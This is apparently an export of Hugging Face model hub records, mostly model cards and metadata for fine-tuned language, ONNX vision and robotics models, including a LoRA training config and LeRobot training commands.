- Domain bias toward parliamentary speech (e.g., political vocabulary, formal register).
- As with Whisper models generally, occasional hallucinations may appear; consider temperature fallback / compression-ratio checks at inference time.
- Multilingual performance is not guaranteed (full-parameter finetuning emphasized Slovak).
## 📄 Paper & Citation
Coming soon
## 🙏 Acknowledgements
This work was supported by [**VÚB Banka**](https://www.vub.sk) who provided the GPU resources and backing necessary to accomplish it, enabling progress in Slovak ASR research.
|
wonderxxx/blockassist
|
wonderxxx
| 2025-09-23T14:55:08Z | 0 | 0 | null |
[
"gensyn",
"blockassist",
"gensyn-blockassist",
"minecraft",
"lazy peckish alligator",
"arxiv:2504.07091",
"region:us"
] | null | 2025-09-21T10:09:15Z |
---
tags:
- gensyn
- blockassist
- gensyn-blockassist
- minecraft
- lazy peckish alligator
---
# Gensyn BlockAssist
Gensyn's BlockAssist is a distributed extension of the paper [AssistanceZero: Scalably Solving Assistance Games](https://arxiv.org/abs/2504.07091).
|
travez07/blockassist
|
travez07
| 2025-09-23T14:52:46Z | 0 | 0 | null |
[
"gensyn",
"blockassist",
"gensyn-blockassist",
"minecraft",
"mute frisky llama",
"arxiv:2504.07091",
"region:us"
] | null | 2025-09-23T01:46:38Z |
---
tags:
- gensyn
- blockassist
- gensyn-blockassist
- minecraft
- mute frisky llama
---
# Gensyn BlockAssist
Gensyn's BlockAssist is a distributed extension of the paper [AssistanceZero: Scalably Solving Assistance Games](https://arxiv.org/abs/2504.07091).
|
Kwaipilot/KAT-Dev
|
Kwaipilot
| 2025-09-23T14:52:11Z | 303 | 3 |
transformers
|
[
"transformers",
"safetensors",
"qwen3",
"text-generation",
"conversational",
"multilingual",
"license:other",
"autotrain_compatible",
"text-generation-inference",
"endpoints_compatible",
"region:us"
] |
text-generation
| 2025-09-15T07:37:18Z |
---
language:
- multilingual
license: other
license_name: kwaipilot-license
license_link: LICENSE
library_name: transformers
---
<div align="center">
<img src="https://raw.githubusercontent.com/Anditty/OASIS/refs/heads/main/Group.svg" width="60%" alt="Kwaipilot" />
</div>
<hr>
|
thefirstgoku/23SEP_inter_v32_1
|
thefirstgoku
| 2025-09-23T14:50:53Z | 0 | 0 | null |
[
"safetensors",
"any-to-any",
"omega",
"omegalabs",
"bittensor",
"agi",
"license:mit",
"region:us"
] |
any-to-any
| 2025-09-23T14:49:35Z |
---
license: mit
tags:
- any-to-any
- omega
- omegalabs
- bittensor
- agi
---
This is an Any-to-Any model checkpoint for the OMEGA Labs x Bittensor Any-to-Any subnet.
Check out the [git repo](https://github.com/omegalabsinc/omegalabs-anytoany-bittensor) and find OMEGA on X: [@omegalabsai](https://x.com/omegalabsai).
|
aamijar/Llama-2-13b-hf-lora-r8-boolq-epochs2
|
aamijar
| 2025-09-23T14:46:41Z | 0 | 0 |
transformers
|
[
"transformers",
"safetensors",
"arxiv:1910.09700",
"endpoints_compatible",
"region:us"
] | null | 2025-09-23T14:46:37Z |
---
library_name: transformers
tags: []
---
# Model Card for Model ID
<!-- Provide a quick summary of what the model is/does. -->
## Model Details
### Model Description
<!-- Provide a longer summary of what this model is. -->
This is the model card of a 🤗 transformers model that has been pushed on the Hub. This model card has been automatically generated.
- **Developed by:** [More Information Needed]
- **Funded by [optional]:** [More Information Needed]
- **Shared by [optional]:** [More Information Needed]
- **Model type:** [More Information Needed]
- **Language(s) (NLP):** [More Information Needed]
- **License:** [More Information Needed]
- **Finetuned from model [optional]:** [More Information Needed]
### Model Sources [optional]
<!-- Provide the basic links for the model. -->
- **Repository:** [More Information Needed]
- **Paper [optional]:** [More Information Needed]
- **Demo [optional]:** [More Information Needed]
## Uses
<!-- Address questions around how the model is intended to be used, including the foreseeable users of the model and those affected by the model. -->
### Direct Use
<!-- This section is for the model use without fine-tuning or plugging into a larger ecosystem/app. -->
[More Information Needed]
### Downstream Use [optional]
<!-- This section is for the model use when fine-tuned for a task, or when plugged into a larger ecosystem/app -->
[More Information Needed]
### Out-of-Scope Use
<!-- This section addresses misuse, malicious use, and uses that the model will not work well for. -->
[More Information Needed]
## Bias, Risks, and Limitations
<!-- This section is meant to convey both technical and sociotechnical limitations. -->
[More Information Needed]
### Recommendations
<!-- This section is meant to convey recommendations with respect to the bias, risk, and technical limitations. -->
Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations.
## How to Get Started with the Model
Use the code below to get started with the model.
[More Information Needed]
## Training Details
### Training Data
<!-- This should link to a Dataset Card, perhaps with a short stub of information on what the training data is all about as well as documentation related to data pre-processing or additional filtering. -->
[More Information Needed]
### Training Procedure
<!-- This relates heavily to the Technical Specifications. Content here should link to that section when it is relevant to the training procedure. -->
#### Preprocessing [optional]
[More Information Needed]
#### Training Hyperparameters
- **Training regime:** [More Information Needed] <!--fp32, fp16 mixed precision, bf16 mixed precision, bf16 non-mixed precision, fp16 non-mixed precision, fp8 mixed precision -->
#### Speeds, Sizes, Times [optional]
<!-- This section provides information about throughput, start/end time, checkpoint size if relevant, etc. -->
[More Information Needed]
## Evaluation
<!-- This section describes the evaluation protocols and provides the results. -->
### Testing Data, Factors & Metrics
#### Testing Data
<!-- This should link to a Dataset Card if possible. -->
[More Information Needed]
#### Factors
<!-- These are the things the evaluation is disaggregating by, e.g., subpopulations or domains. -->
[More Information Needed]
#### Metrics
<!-- These are the evaluation metrics being used, ideally with a description of why. -->
[More Information Needed]
### Results
[More Information Needed]
#### Summary
## Model Examination [optional]
<!-- Relevant interpretability work for the model goes here -->
[More Information Needed]
## Environmental Impact
<!-- Total emissions (in grams of CO2eq) and additional considerations, such as electricity usage, go here. Edit the suggested text below accordingly -->
Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700).
- **Hardware Type:** [More Information Needed]
- **Hours used:** [More Information Needed]
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- **Compute Region:** [More Information Needed]
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## Technical Specifications [optional]
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[More Information Needed]
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[More Information Needed]
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[More Information Needed]
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[More Information Needed]
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<!-- If there is a paper or blog post introducing the model, the APA and Bibtex information for that should go in this section. -->
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[More Information Needed]
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## Glossary [optional]
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[More Information Needed]
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[More Information Needed]
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|
alpcaferoglu/Qwen2.5-Coder-3B-Instruct_bd_cs_t2sws-t2s_r64_a64_e1_bs2_gas4_lr7.5e-05_fs0f_cvdt_sftreason
|
alpcaferoglu
| 2025-09-23T14:46:06Z | 0 | 0 |
transformers
|
[
"transformers",
"safetensors",
"unsloth",
"arxiv:1910.09700",
"endpoints_compatible",
"region:us"
] | null | 2025-09-23T02:12:23Z |
---
library_name: transformers
tags:
- unsloth
---
# Model Card for Model ID
<!-- Provide a quick summary of what the model is/does. -->
## Model Details
### Model Description
<!-- Provide a longer summary of what this model is. -->
This is the model card of a 🤗 transformers model that has been pushed on the Hub. This model card has been automatically generated.
- **Developed by:** [More Information Needed]
- **Funded by [optional]:** [More Information Needed]
- **Shared by [optional]:** [More Information Needed]
- **Model type:** [More Information Needed]
- **Language(s) (NLP):** [More Information Needed]
- **License:** [More Information Needed]
- **Finetuned from model [optional]:** [More Information Needed]
### Model Sources [optional]
<!-- Provide the basic links for the model. -->
- **Repository:** [More Information Needed]
- **Paper [optional]:** [More Information Needed]
- **Demo [optional]:** [More Information Needed]
## Uses
<!-- Address questions around how the model is intended to be used, including the foreseeable users of the model and those affected by the model. -->
### Direct Use
<!-- This section is for the model use without fine-tuning or plugging into a larger ecosystem/app. -->
[More Information Needed]
### Downstream Use [optional]
<!-- This section is for the model use when fine-tuned for a task, or when plugged into a larger ecosystem/app -->
[More Information Needed]
### Out-of-Scope Use
<!-- This section addresses misuse, malicious use, and uses that the model will not work well for. -->
[More Information Needed]
## Bias, Risks, and Limitations
<!-- This section is meant to convey both technical and sociotechnical limitations. -->
[More Information Needed]
### Recommendations
<!-- This section is meant to convey recommendations with respect to the bias, risk, and technical limitations. -->
Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations.
## How to Get Started with the Model
Use the code below to get started with the model.
[More Information Needed]
## Training Details
### Training Data
<!-- This should link to a Dataset Card, perhaps with a short stub of information on what the training data is all about as well as documentation related to data pre-processing or additional filtering. -->
[More Information Needed]
### Training Procedure
<!-- This relates heavily to the Technical Specifications. Content here should link to that section when it is relevant to the training procedure. -->
#### Preprocessing [optional]
[More Information Needed]
#### Training Hyperparameters
- **Training regime:** [More Information Needed] <!--fp32, fp16 mixed precision, bf16 mixed precision, bf16 non-mixed precision, fp16 non-mixed precision, fp8 mixed precision -->
#### Speeds, Sizes, Times [optional]
<!-- This section provides information about throughput, start/end time, checkpoint size if relevant, etc. -->
[More Information Needed]
## Evaluation
<!-- This section describes the evaluation protocols and provides the results. -->
### Testing Data, Factors & Metrics
#### Testing Data
<!-- This should link to a Dataset Card if possible. -->
[More Information Needed]
#### Factors
<!-- These are the things the evaluation is disaggregating by, e.g., subpopulations or domains. -->
[More Information Needed]
#### Metrics
<!-- These are the evaluation metrics being used, ideally with a description of why. -->
[More Information Needed]
### Results
[More Information Needed]
#### Summary
## Model Examination [optional]
<!-- Relevant interpretability work for the model goes here -->
[More Information Needed]
## Environmental Impact
<!-- Total emissions (in grams of CO2eq) and additional considerations, such as electricity usage, go here. Edit the suggested text below accordingly -->
Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700).
- **Hardware Type:** [More Information Needed]
- **Hours used:** [More Information Needed]
- **Cloud Provider:** [More Information Needed]
- **Compute Region:** [More Information Needed]
- **Carbon Emitted:** [More Information Needed]
## Technical Specifications [optional]
### Model Architecture and Objective
[More Information Needed]
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[More Information Needed]
#### Hardware
[More Information Needed]
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[More Information Needed]
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<!-- If there is a paper or blog post introducing the model, the APA and Bibtex information for that should go in this section. -->
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[More Information Needed]
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[More Information Needed]
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[More Information Needed]
## More Information [optional]
[More Information Needed]
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[More Information Needed]
## Model Card Contact
[More Information Needed]
|
johngreendr1/bfe3b72f-08eb-4ad4-a14d-1acb287819b7
|
johngreendr1
| 2025-09-23T14:44:37Z | 0 | 0 |
peft
|
[
"peft",
"safetensors",
"arxiv:1910.09700",
"base_model:jingyeom/seal3.1.6n_7b",
"base_model:adapter:jingyeom/seal3.1.6n_7b",
"region:us"
] | null | 2025-09-23T14:44:30Z |
---
base_model: jingyeom/seal3.1.6n_7b
library_name: peft
---
# Model Card for Model ID
<!-- Provide a quick summary of what the model is/does. -->
## Model Details
### Model Description
<!-- Provide a longer summary of what this model is. -->
- **Developed by:** [More Information Needed]
- **Funded by [optional]:** [More Information Needed]
- **Shared by [optional]:** [More Information Needed]
- **Model type:** [More Information Needed]
- **Language(s) (NLP):** [More Information Needed]
- **License:** [More Information Needed]
- **Finetuned from model [optional]:** [More Information Needed]
### Model Sources [optional]
<!-- Provide the basic links for the model. -->
- **Repository:** [More Information Needed]
- **Paper [optional]:** [More Information Needed]
- **Demo [optional]:** [More Information Needed]
## Uses
<!-- Address questions around how the model is intended to be used, including the foreseeable users of the model and those affected by the model. -->
### Direct Use
<!-- This section is for the model use without fine-tuning or plugging into a larger ecosystem/app. -->
[More Information Needed]
### Downstream Use [optional]
<!-- This section is for the model use when fine-tuned for a task, or when plugged into a larger ecosystem/app -->
[More Information Needed]
### Out-of-Scope Use
<!-- This section addresses misuse, malicious use, and uses that the model will not work well for. -->
[More Information Needed]
## Bias, Risks, and Limitations
<!-- This section is meant to convey both technical and sociotechnical limitations. -->
[More Information Needed]
### Recommendations
<!-- This section is meant to convey recommendations with respect to the bias, risk, and technical limitations. -->
Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations.
## How to Get Started with the Model
Use the code below to get started with the model.
[More Information Needed]
## Training Details
### Training Data
<!-- This should link to a Dataset Card, perhaps with a short stub of information on what the training data is all about as well as documentation related to data pre-processing or additional filtering. -->
[More Information Needed]
### Training Procedure
<!-- This relates heavily to the Technical Specifications. Content here should link to that section when it is relevant to the training procedure. -->
#### Preprocessing [optional]
[More Information Needed]
#### Training Hyperparameters
- **Training regime:** [More Information Needed] <!--fp32, fp16 mixed precision, bf16 mixed precision, bf16 non-mixed precision, fp16 non-mixed precision, fp8 mixed precision -->
#### Speeds, Sizes, Times [optional]
<!-- This section provides information about throughput, start/end time, checkpoint size if relevant, etc. -->
[More Information Needed]
## Evaluation
<!-- This section describes the evaluation protocols and provides the results. -->
### Testing Data, Factors & Metrics
#### Testing Data
<!-- This should link to a Dataset Card if possible. -->
[More Information Needed]
#### Factors
<!-- These are the things the evaluation is disaggregating by, e.g., subpopulations or domains. -->
[More Information Needed]
#### Metrics
<!-- These are the evaluation metrics being used, ideally with a description of why. -->
[More Information Needed]
### Results
[More Information Needed]
#### Summary
## Model Examination [optional]
<!-- Relevant interpretability work for the model goes here -->
[More Information Needed]
## Environmental Impact
<!-- Total emissions (in grams of CO2eq) and additional considerations, such as electricity usage, go here. Edit the suggested text below accordingly -->
Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700).
- **Hardware Type:** [More Information Needed]
- **Hours used:** [More Information Needed]
- **Cloud Provider:** [More Information Needed]
- **Compute Region:** [More Information Needed]
- **Carbon Emitted:** [More Information Needed]
## Technical Specifications [optional]
### Model Architecture and Objective
[More Information Needed]
### Compute Infrastructure
[More Information Needed]
#### Hardware
[More Information Needed]
#### Software
[More Information Needed]
## Citation [optional]
<!-- If there is a paper or blog post introducing the model, the APA and Bibtex information for that should go in this section. -->
**BibTeX:**
[More Information Needed]
**APA:**
[More Information Needed]
## Glossary [optional]
<!-- If relevant, include terms and calculations in this section that can help readers understand the model or model card. -->
[More Information Needed]
## More Information [optional]
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## Model Card Authors [optional]
[More Information Needed]
## Model Card Contact
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### Framework versions
- PEFT 0.15.1
|
onnxmodelzoo/resnext50d_32x4d_Opset17
|
onnxmodelzoo
| 2025-09-23T14:43:58Z | 0 | 0 | null |
[
"onnx",
"Computer_Vision",
"en",
"license:apache-2.0",
"region:us"
] | null | 2025-09-23T14:43:50Z |
---
language: en
license: apache-2.0
model_name: resnext50d_32x4d_Opset17.onnx
tags:
- Computer_Vision
---
|
onnxmodelzoo/resnext26ts_Opset18
|
onnxmodelzoo
| 2025-09-23T14:43:14Z | 0 | 0 | null |
[
"onnx",
"Computer_Vision",
"en",
"license:apache-2.0",
"region:us"
] | null | 2025-09-23T14:43:08Z |
---
language: en
license: apache-2.0
model_name: resnext26ts_Opset18.onnx
tags:
- Computer_Vision
---
|
onnxmodelzoo/resnext26ts_Opset17
|
onnxmodelzoo
| 2025-09-23T14:43:08Z | 0 | 0 | null |
[
"onnx",
"Computer_Vision",
"en",
"license:apache-2.0",
"region:us"
] | null | 2025-09-23T14:43:02Z |
---
language: en
license: apache-2.0
model_name: resnext26ts_Opset17.onnx
tags:
- Computer_Vision
---
|
onnxmodelzoo/resnext26ts_Opset16
|
onnxmodelzoo
| 2025-09-23T14:43:02Z | 0 | 0 | null |
[
"onnx",
"Computer_Vision",
"en",
"license:apache-2.0",
"region:us"
] | null | 2025-09-23T14:42:56Z |
---
language: en
license: apache-2.0
model_name: resnext26ts_Opset16.onnx
tags:
- Computer_Vision
---
|
onnxmodelzoo/resnext101_32x8d_Opset16
|
onnxmodelzoo
| 2025-09-23T14:42:18Z | 0 | 0 | null |
[
"onnx",
"Computer_Vision",
"en",
"license:apache-2.0",
"region:us"
] | null | 2025-09-23T14:41:58Z |
---
language: en
license: apache-2.0
model_name: resnext101_32x8d_Opset16.onnx
tags:
- Computer_Vision
---
|
onnxmodelzoo/resnetv2_50x1_bitm_Opset16
|
onnxmodelzoo
| 2025-09-23T14:41:09Z | 0 | 0 | null |
[
"onnx",
"Computer_Vision",
"en",
"license:apache-2.0",
"region:us"
] | null | 2025-09-23T14:40:56Z |
---
language: en
license: apache-2.0
model_name: resnetv2_50x1_bitm_Opset16.onnx
tags:
- Computer_Vision
---
|
cjkasbdkjnlakb/agent-0923
|
cjkasbdkjnlakb
| 2025-09-23T14:40:42Z | 0 | 0 |
peft
|
[
"peft",
"safetensors",
"qwen3",
"text-generation",
"axolotl",
"base_model:adapter:Qwen/Qwen3-4B-Instruct-2507",
"lora",
"transformers",
"conversational",
"dataset:custom",
"base_model:Qwen/Qwen3-4B-Instruct-2507",
"license:apache-2.0",
"text-generation-inference",
"endpoints_compatible",
"region:us"
] |
text-generation
| 2025-09-23T14:40:13Z |
---
library_name: peft
license: apache-2.0
base_model: Qwen/Qwen3-4B-Instruct-2507
tags:
- axolotl
- base_model:adapter:Qwen/Qwen3-4B-Instruct-2507
- lora
- transformers
datasets:
- custom
pipeline_tag: text-generation
model-index:
- name: workspace/train_data_0923/checkpoints/0923
results: []
---
<!-- This model card has been generated automatically according to the information the Trainer had access to. You
should probably proofread and complete it, then remove this comment. -->
[<img src="https://raw.githubusercontent.com/axolotl-ai-cloud/axolotl/main/image/axolotl-badge-web.png" alt="Built with Axolotl" width="200" height="32"/>](https://github.com/axolotl-ai-cloud/axolotl)
<details><summary>See axolotl config</summary>
axolotl version: `0.12.2`
```yaml
# Automatically upload checkpoint and final model to HF
# hub_model_id: username/custom_model_name
# 是否以 8-bit 精度加载模型
load_in_8bit: false
# 是否以 4-bit 精度加载模型（与QLoRA绑定, 强制使用）
load_in_4bit: false
# 是否严格匹配模型结构，关闭表示可加载少部分差异结构（如以适配 adapter）
# strict: false
base_model: Qwen/Qwen3-4B-Instruct-2507
# 数据集设置
chat_template: qwen3
datasets:
- path: /workspace/train_data_0923/all_data.json # - 表示列表（list）中的一项, 即可以同时使用多个数据集
type: chat_template # chat_template(自定义格式) alpaca
roles_to_train: ["assistant"]
field_messages: messages # 标识的字段
message_property_mappings: # message_property_mappings={'role':'role', 'content':'content'})
role: role
content: content
dataset_prepared_path:
val_set_size: 0.05
output_dir: /workspace/train_data_0923/checkpoints/0923
sequence_len: 16384 # 模型所能处理的最大上下文长度(默认2048)
pad_to_sequence_len: true
# context_parallel_size: 2 # 长序列拆分至多个GPU(强制要求 mirco_batch_size: 1)
sample_packing: false # 在训练时将多个样本拼接（packing）成一个长序列(sequence_len)输入到模型中，以提高训练效率。
eval_sample_packing: false # 评估时拼接多个样本
# 训练超参数
adapter: lora # lora qlora
lora_model_dir:
lora_r: 16 # lora_r默认首选 16，平衡精度与显存
lora_alpha: 64 # 缩放系数，用于控制 LoRA 的影响力, 一般设为 2*r 或 4*r
lora_dropout: 0.05
lora_target_linear: true
micro_batch_size: 4 # 微批次大小 94G的H100可以设为4(Token为1w)
gradient_accumulation_steps: 2 # 梯度累积: 将多个微批次的梯度(micro_batch_size)累积起来，然后更新模型权重 有效 Batch 常取 16: 小于 8 训练会抖，大于 32 只会更耗时、收益有限
auto_find_batch_size: false # 允许Axolotl不断调整batch_size ⚠️Zero-3不适用
num_epochs: 1
optimizer: adamw_torch_fused
lr_scheduler: cosine
learning_rate: 4e-5
# bf16: auto + tf32: true，可获得更好的稳定性和性能。
bf16: auto
tf32: true
# early_stopping_patience:
gradient_checkpointing: true
gradient_checkpointing_kwargs:
use_reentrant: false
# auto_resume_from_checkpoints: true #自动从output_dir寻找最新checkpoint断点恢复
logging_steps: 1
flash_attention: true
warmup_steps: 10
evals_per_epoch: 4
saves_per_epoch: 1
weight_decay: 0.0
fsdp:
- full_shard
- auto_wrap
fsdp_config:
fsdp_limit_all_gathers: true
fsdp_sync_module_states: true
fsdp_offload_params: false # H200显存足够，无需offload
fsdp_use_orig_params: false
fsdp_cpu_ram_efficient_loading: true
fsdp_auto_wrap_policy: TRANSFORMER_BASED_WRAP
fsdp_transformer_layer_cls_to_wrap: Qwen3DecoderLayer
fsdp_state_dict_type: FULL_STATE_DICT
fsdp_sharding_strategy: FULL_SHARD
```
</details><br>
# workspace/train_data_0923/checkpoints/0923
This model is a fine-tuned version of [Qwen/Qwen3-4B-Instruct-2507](https://huggingface.co/Qwen/Qwen3-4B-Instruct-2507) on the /workspace/train_data_0923/all_data.json dataset.
It achieves the following results on the evaluation set:
- Loss: 0.0419
- Memory/max Mem Active(gib): 128.99
- Memory/max Mem Allocated(gib): 128.8
- Memory/device Mem Reserved(gib): 130.65
## Model description
More information needed
## Intended uses & limitations
More information needed
## Training and evaluation data
More information needed
## Training procedure
### Training hyperparameters
The following hyperparameters were used during training:
- learning_rate: 4e-05
- train_batch_size: 4
- eval_batch_size: 4
- seed: 42
- distributed_type: multi-GPU
- num_devices: 4
- gradient_accumulation_steps: 2
- total_train_batch_size: 32
- total_eval_batch_size: 16
- optimizer: Use OptimizerNames.ADAMW_TORCH_FUSED with betas=(0.9,0.999) and epsilon=1e-08 and optimizer_args=No additional optimizer arguments
- lr_scheduler_type: cosine
- lr_scheduler_warmup_steps: 10
- training_steps: 1472
### Training results
| Training Loss | Epoch | Step | Validation Loss | Mem Active(gib) | Mem Allocated(gib) | Mem Reserved(gib) |
|:-------------:|:-----:|:----:|:---------------:|:---------------:|:------------------:|:-----------------:|
| No log | 0 | 0 | 1.0273 | 98.27 | 98.07 | 99.47 |
| 0.059 | 0.25 | 368 | 0.0510 | 128.99 | 128.8 | 130.32 |
| 0.0496 | 0.5 | 736 | 0.0456 | 128.99 | 128.8 | 130.65 |
| 0.0412 | 0.75 | 1104 | 0.0428 | 128.99 | 128.8 | 130.65 |
| 0.0576 | 1.0 | 1472 | 0.0419 | 128.99 | 128.8 | 130.65 |
### Framework versions
- PEFT 0.17.0
- Transformers 4.55.2
- Pytorch 2.6.0+cu126
- Datasets 4.0.0
- Tokenizers 0.21.4
|
onnxmodelzoo/resnetv2_50_Opset16
|
onnxmodelzoo
| 2025-09-23T14:38:45Z | 0 | 0 | null |
[
"onnx",
"Computer_Vision",
"en",
"license:apache-2.0",
"region:us"
] | null | 2025-09-23T14:38:37Z |
---
language: en
license: apache-2.0
model_name: resnetv2_50_Opset16.onnx
tags:
- Computer_Vision
---
|
onnxmodelzoo/resnetv2_152x2_bitm_Opset17
|
onnxmodelzoo
| 2025-09-23T14:38:37Z | 0 | 0 | null |
[
"onnx",
"Computer_Vision",
"en",
"license:apache-2.0",
"region:us"
] | null | 2025-09-23T14:37:00Z |
---
language: en
license: apache-2.0
model_name: resnetv2_152x2_bitm_Opset17.onnx
tags:
- Computer_Vision
---
|
Emil7018/classifier-chapter4
|
Emil7018
| 2025-09-23T14:36:54Z | 0 | 0 |
transformers
|
[
"transformers",
"tensorboard",
"safetensors",
"bert",
"text-classification",
"generated_from_trainer",
"base_model:google-bert/bert-base-uncased",
"base_model:finetune:google-bert/bert-base-uncased",
"license:apache-2.0",
"autotrain_compatible",
"endpoints_compatible",
"region:us"
] |
text-classification
| 2025-09-22T16:35:54Z |
---
library_name: transformers
license: apache-2.0
base_model: bert-base-uncased
tags:
- generated_from_trainer
model-index:
- name: classifier-chapter4
results: []
---
<!-- This model card has been generated automatically according to the information the Trainer had access to. You
should probably proofread and complete it, then remove this comment. -->
# classifier-chapter4
This model is a fine-tuned version of [bert-base-uncased](https://huggingface.co/bert-base-uncased) on an unknown dataset.
## Model description
More information needed
## Intended uses & limitations
More information needed
## Training and evaluation data
More information needed
## Training procedure
### Training hyperparameters
The following hyperparameters were used during training:
- learning_rate: 5e-05
- train_batch_size: 32
- eval_batch_size: 32
- seed: 42
- optimizer: Use OptimizerNames.ADAMW_TORCH_FUSED with betas=(0.9,0.999) and epsilon=1e-08 and optimizer_args=No additional optimizer arguments
- lr_scheduler_type: linear
- num_epochs: 2
### Framework versions
- Transformers 4.56.2
- Pytorch 2.8.0+cu126
- Datasets 4.0.0
- Tokenizers 0.22.0
|
pepijn223/pi05_base
|
pepijn223
| 2025-09-23T14:36:37Z | 186 | 1 | null |
[
"safetensors",
"region:us"
] | null | 2025-09-09T14:55:33Z |
# π₀.₅ (Pi05)
π₀.₅ is a **Vision-Language-Action model with open-world generalization**, from Physical Intelligence. The LeRobot implementation is adapted from their open source [OpenPI](https://github.com/Physical-Intelligence/openpi) repository.
## Model Overview
π₀.₅ represents a significant evolution from π₀, developed by [Physical Intelligence](https://www.physicalintelligence.company/blog/pi05) to address a big challenge in robotics: **open-world generalization**. While robots can perform impressive tasks in controlled environments, π₀.₅ is designed to generalize to entirely new environments and situations that were never seen during training.
### The Generalization Challenge
As Physical Intelligence explains, the fundamental challenge isn't performing tasks of agility or dexterity, but generalization, the ability to correctly perform tasks in new settings with new objects. Consider a robot cleaning different homes: each home has different objects in different places. Generalization must occur at multiple levels:
- **Physical Level**: Understanding how to pick up a spoon (by the handle) or plate (by the edge), even with unseen objects in cluttered environments
- **Semantic Level**: Understanding task semantics, where to put clothes and shoes (laundry hamper, not on the bed), and what tools are appropriate for cleaning spills
- **Environmental Level**: Adapting to "messy" real-world environments like homes, grocery stores, offices, and hospitals
### Co-Training on Heterogeneous Data
The breakthrough innovation in π₀.₅ is **co-training on heterogeneous data sources**. The model learns from:
1. **Multimodal Web Data**: Image captioning, visual question answering, object detection
2. **Verbal Instructions**: Humans coaching robots through complex tasks step-by-step
3. **Subtask Commands**: High-level semantic behavior labels (e.g., "pick up the pillow" for an unmade bed)
4. **Cross-Embodiment Robot Data**: Data from various robot platforms with different capabilities
5. **Multi-Environment Data**: Static robots deployed across many different homes
6. **Mobile Manipulation Data**: ~400 hours of mobile robot demonstrations
This diverse training mixture creates a "curriculum" that enables generalization across physical, visual, and semantic levels simultaneously.
## Training
Here's a complete training command for finetuning the base π₀.₅ model on your own dataset:
```bash
python src/lerobot/scripts/train.py \
--dataset.repo_id=your_dataset \
--policy.type=pi05 \
--output_dir=./outputs/pi05_training \
--job_name=pi05_training \
--policy.repo_id=pepijn223/pi05_base \
--policy.pretrained_path=your_repo_id \
--policy.compile_model=true \
--policy.gradient_checkpointing=true \
--wandb.enable=true \
--policy.dtype=bfloat16 \
--steps=3000 \
--policy.scheduler_decay_steps=3000 \
--policy.device=cuda \
--batch_size=32
```
## Conversion Details
This model was converted from JAX to PyTorch using the OpenPI conversion script:
```bash
python examples/convert_jax_model_to_pytorch.py \
--checkpoint_dir /pi05_base \
--config_name pi05_base \
--output_path /pi05_base/pytorch/fp32/ \
--precision float32
```
## Citation
If you use this model, please cite the original OpenPI work:
```bibtex
@article{openpi2024,
title={Open-World Robotic Manipulation with Vision-Language-Action Models},
author={Physical Intelligence},
year={2024},
url={https://github.com/Physical-Intelligence/openpi}
}
```
## Original Repository
[OpenPI GitHub Repository](https://github.com/Physical-Intelligence/openpi)
## License
This model follows the same license as the original OpenPI repository.
|
pepijn223/pi0_libero
|
pepijn223
| 2025-09-23T14:35:48Z | 117 | 1 | null |
[
"safetensors",
"region:us"
] | null | 2025-09-09T15:22:46Z |
# π₀ (Pi0) Libero
π₀ is a **Vision-Language-Action model for general robot control**, from Physical Intelligence. The LeRobot implementation is adapted from their open source [OpenPI](https://github.com/Physical-Intelligence/openpi) repository.
## Model Overview
π₀ represents a breakthrough in robotics as the first general-purpose robot foundation model developed by [Physical Intelligence](https://www.physicalintelligence.company/blog/pi0). Unlike traditional robots that are narrow specialists programmed for repetitive motions, π₀ is designed to be a generalist policy that can understand visual inputs, interpret natural language instructions, and control a variety of different robots across diverse tasks.
### The Vision for Physical Intelligence
As described by Physical Intelligence, while AI has achieved remarkable success in digital domains, from chess-playing to drug discovery, human intelligence still dramatically outpaces AI in the physical world. To paraphrase Moravec's paradox, winning a game of chess represents an "easy" problem for AI, but folding a shirt or cleaning up a table requires solving some of the most difficult engineering problems ever conceived. π₀ represents a first step toward developing artificial physical intelligence that enables users to simply ask robots to perform any task they want, just like they can with large language models.
### Architecture and Approach
π₀ combines several key innovations:
- **Flow Matching**: Uses a novel method to augment pre-trained VLMs with continuous action outputs via flow matching (a variant of diffusion models)
- **Cross-Embodiment Training**: Trained on data from 8 distinct robot platforms including UR5e, Bimanual UR5e, Franka, Bimanual Trossen, Bimanual ARX, Mobile Trossen, and Mobile Fibocom
- **Internet-Scale Pre-training**: Inherits semantic knowledge from a pre-trained 3B parameter Vision-Language Model
- **High-Frequency Control**: Outputs motor commands at up to 50 Hz for real-time dexterous manipulation
## Training
For training π₀, you can use the standard LeRobot training script with the appropriate configuration:
```bash
python src/lerobot/scripts/train.py \
--dataset.repo_id=your_dataset \
--policy.type=pi0 \
--output_dir=./outputs/pi0_training \
--job_name=pi0_training \
--policy.pretrained_path=pepijn223/pi0_libero \
--policy.repo_id=your_repo_id \
--policy.compile_model=true \
--policy.gradient_checkpointing=true \
--policy.dtype=bfloat16 \
--steps=3000 \
--policy.scheduler_decay_steps=3000 \
--policy.device=cuda \
--batch_size=32
```
## Conversion Details
This model was converted from JAX to PyTorch using the OpenPI conversion script:
```bash
python examples/convert_jax_model_to_pytorch.py \
--checkpoint_dir /pi0_libero \
--config_name pi0_libero \
--output_path /pi0_base/pytorch/fp32/ \
--precision float32
```
## Citation
If you use this model, please cite the original OpenPI work:
```bibtex
@article{openpi2024,
title={Open-World Robotic Manipulation with Vision-Language-Action Models},
author={Physical Intelligence},
year={2024},
url={https://github.com/Physical-Intelligence/openpi}
}
```
## Original Repository
[OpenPI GitHub Repository](https://github.com/Physical-Intelligence/openpi)
## License
This model follows the same license as the original OpenPI repository.
|
DevQuasar/deepseek-ai.DeepSeek-V3.1-Terminus-BF16
|
DevQuasar
| 2025-09-23T14:33:25Z | 46 | 0 |
transformers
|
[
"transformers",
"safetensors",
"deepseek_v3",
"text-generation",
"conversational",
"custom_code",
"arxiv:2412.19437",
"base_model:deepseek-ai/DeepSeek-V3.1-Terminus",
"base_model:quantized:deepseek-ai/DeepSeek-V3.1-Terminus",
"license:mit",
"autotrain_compatible",
"text-generation-inference",
"endpoints_compatible",
"fp8",
"region:us"
] |
text-generation
| 2025-09-23T01:23:09Z |
---
